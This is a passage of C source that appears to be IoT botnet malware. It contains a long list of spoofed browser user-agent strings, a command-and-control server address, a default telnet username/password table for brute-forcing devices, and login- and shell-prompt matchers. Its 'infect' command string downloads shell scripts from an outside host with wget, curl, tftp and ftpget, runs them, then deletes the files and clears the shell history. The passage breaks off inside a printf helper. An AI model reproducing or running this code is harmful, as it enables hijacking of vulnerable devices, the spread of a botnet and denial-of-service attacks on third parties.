  547. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  548. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  549. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  550. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  551. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  552. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  553. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  554. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  555. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  556. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  557. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  558. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  559. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  560. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  561. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  562. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  563. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  564. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  565. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  566. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  567. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  568. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  569. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  570. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  571. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  572. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  573. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  574. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  575. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  576. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  577. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  578. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  579. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  580. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  581. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  582. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  583. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  584. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  585. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  586. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  587. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  588. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  589. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  590. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  591. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  592. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  593. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  594. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  595. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  596. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  597. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  598. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  599. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  600. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  601. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  602. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  603. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  604. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  605. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  606. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  607. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  608. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  609. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  610. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  611. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  612. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  613. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  614. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
  615. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  616. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  617. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  618. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  619. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  620. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  621. "C4PC UserAgent/0.7",
  622. "Googlebot 1.01.003",
  623. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  624. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  625. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
  626. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0",
  627. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  628. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  629. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  630. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  631. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  632. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  633. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  634. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  635. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  636. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  637. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  638. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  639. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  640. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  641. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  642. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  643. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  644. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  645. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  646. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  647. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  648. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  649. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  650. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  651. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  652. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  653. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  654. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  655. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  656. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  657. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  658. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  659. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  660. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  661. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  662. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  663. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  664. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  665. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  666. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  667. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  668. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  669. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  670. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  671. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Firefox/24.0",
  672. "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)",
  673. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  674. "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532",
  675. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  676. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1a2pre) Gecko/2008073000 Shredder/3.0a2pre ThunderBrowse/3.2.1.8",
  677. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6",
  678. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7pre) Gecko/20100925 Firefox/4.0b7pre",
  679. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5pre) Gecko/2008032619 Linpus/3.0-0.49.3.0b5pre.lp Minefield/3.0b5pre",
  680. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a1pre) Gecko/20100128 Minefield/3.7a1pre",
  681. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a9pre) Gecko/2007100205 Minefield/3.0a9pre",
  682. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9a4pre) Gecko/20070402 Minefield/3.0a4pre",
  683. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041103 Firefox/1.0RC2",
  684. "Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0",
  685. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  686. "Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)",
  687. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0",
  688. "Mozilla/5.0 (Linux; Android 4.2.2; AFTB Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.173 Mobile Safari/537.22",
  689. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101230 Mandriva Linux/1.9.2.13-0.2mdv2010.2 (2010.2) Firefox/3.6.13",
  690. "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
  691. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  692. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  693. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.27 Safari/536.11",
  694. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.3; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; AskTbCFTP2V5/5.14.1.20007)",
  695. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  696. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0",
  697. "Mozilla/5.0 (PLAYSTATION 3 4.66) AppleWebKit/531.22.8 (KHTML, like Gecko)",
  698. "Wget/1.12 (linux-gnu)",
  699. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  700. "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
  701. "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US",
  702. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.3",
  703. "Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile",
  704. "Mozilla/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1",
  705. "Mozilla/5.0 (Linux; Android 5.1; XT1032 Build/LPB23.13-58) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile",
  706. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3",
  707. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1; 360Spider(compatible; Ha",
  708. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60",
  709. "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  710. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.8+ (KHTML, like Gecko) Version/5.1.5 Safari/534.55.3",
  711. "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25",
  712. "Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)",
  713. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  714. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  715. "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
  716. "Mozilla/5.0 (Admin Catalog; Windows NT 5.1; infobot.4942@yahoo.com)",
  717. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  718. "HuaweiSymantecSpider/1.0+DSE-support@huaweisymantec.com+(compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR ; http://www.huaweisymantec.com/en/IRL/spider)",
  719. "Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
  720. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  721. "Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; 1 subscribers; feed-id=9422214874901413839)",
  722. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  723. };
  724.  
  725. //IP
  726. unsigned char *YuhsServer[] = { "1.1.1.1:23" };
  727. //WGET
  728. char *infect = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://1.1.1.1/bins.sh; curl -O http://1.1.1.1/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 1.1.1.1 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 1.1.1.1; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 1.1.1.1 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;history -c\r\n";
  729. //USER/PASS
  730. char *usernames[] = {"telnet\0", "root\0", "root\0", "root\0", "root\0", "root\0", "default\0", "daemon\0", "support\0"};
  731. char *passwords[] = {"telnet\0", "root\0", "\0", "123456\0", "Zte521\0", "vizxv\0", "default\0", "\0", "support\0"};
  732. //SHIT
  733. int initConnection();
  734. void makeRandomStr(unsigned char *buf, int length);
  735. int Yuhsprintf(int sock, char *formatStr, ...);
  736. char *inet_ntoa(struct in_addr in);
  737. int YuhsCommSock = 0, currentServer = -1, gotIP = 0;
  738. uint32_t *pids;
  739. uint32_t scanPid;
  740. uint64_t numpids = 0;
  741. struct in_addr ourIP;
  742. struct in_addr ourPublicIP;
  743. unsigned char macAddress[6] = {0};
  744. char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  745. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  746. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  747. char *successes[] = {"busybox", "$", "#", (char*)0};
  748. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  749. static uint32_t Q[4096], c = 362436;
  750. void init_rand(uint32_t x) {
  751. int i;
  752. Q[0] = x;
  753. Q[1] = x + PHI;
  754. Q[2] = x + PHI + PHI;
  755. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  756. }
  757. uint32_t rand_cmwc(void) {
  758. uint64_t t, a = 18782LL;
  759. static uint32_t i = 4095;
  760. uint32_t x, r = 0xfffffffe;
  761. i = (i + 1) & 4095;
  762. t = a * Q[i] + c;
  763. c = (uint32_t)(t >> 32);
  764. x = t + c;
  765. if (x < c) {
  766. x++;
  767. c++;
  768. }
  769. return (Q[i] = r - x);
  770. }
  771. void trim(char *str) {
  772. int i;
  773. int begin = 0;
  774. int end = strlen(str) - 1;
  775. while (isspace(str[begin])) begin++;
  776. while ((end >= begin) && isspace(str[end])) end--;
  777. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  778. str[i - begin] = '\0';
  779. }
  780. static void printchar(unsigned char **str, int c) {
  781. if (str) {
  782. **str = c;
  783. ++(*str);
  784. }
  785. else (void)write(1, &c, 1);
  786. }
  787. static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
  788. register int pc = 0, padchar = ' ';
  789. if (width > 0) {
  790. register int len = 0;
  791. register const unsigned char *ptr;
  792. for (ptr = string; *ptr; ++ptr) ++len;
  793. if (len >= width) width = 0;
  794. else width -= len;
  795. if (pad & PAD_ZERO) padchar = '0';
  796. }
  797. if (!(pad & PAD_RIGHT)) {
  798. for ( ; width > 0; --width) {
  799. printchar (out, padchar);
  800. ++pc;
  801. }
  802. }
  803. for ( ; *string ; ++string) {
  804. printchar (out, *string);
  805. ++pc;
  806. }
  807. for ( ; width > 0; --width) {
  808. printchar (out, padchar);
  809. ++pc;
  810. }
  811. return pc;
  812. }
  813. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
  814. unsigned char print_buf[PRINT_BUF_LEN];
  815. register unsigned char *s;
  816. register int t, neg = 0, pc = 0;
  817. register unsigned int u = i;
  818. if (i == 0) {
  819. print_buf[0] = '0';
  820. print_buf[1] = '\0';
  821. return prints (out, print_buf, width, pad);
  822. }
  823. if (sg && b == 10 && i < 0) {
  824. neg = 1;
  825. u = -i;
  826. }
  827. s = print_buf + PRINT_BUF_LEN-1;
  828. *s = '\0';
  829. while (u) {
  830. t = u % b;
  831. if( t >= 10 )
  832. t += letbase - '0' - 10;
  833. *--s = t + '0';
  834. u /= b;
  835. }
  836. if (neg) {
  837. if( width && (pad & PAD_ZERO) ) {
  838. printchar (out, '-');
  839. ++pc;
  840. --width;
  841. }
  842. else {
  843. *--s = '-';
  844. }
  845. }
  846. return pc + prints (out, s, width, pad);
  847. }
  848. static int print(unsigned char **out, const unsigned char *format, va_list args ) {
  849. register int width, pad;
  850. register int pc = 0;
  851. unsigned char scr[2];
  852. for (; *format != 0; ++format) {
  853. if (*format == '%') {
  854. ++format;
  855. width = pad = 0;
  856. if (*format == '\0') break;
  857. if (*format == '%') goto out;
  858. if (*format == '-') {
  859. ++format;
  860. pad = PAD_RIGHT;
  861. }
  862. while (*format == '0') {
  863. ++format;
  864. pad |= PAD_ZERO;
  865. }
  866. for ( ; *format >= '0' && *format <= '9'; ++format) {
  867. width *= 10;
  868. width += *format - '0';
  869. }
  870. if( *format == 's' ) {
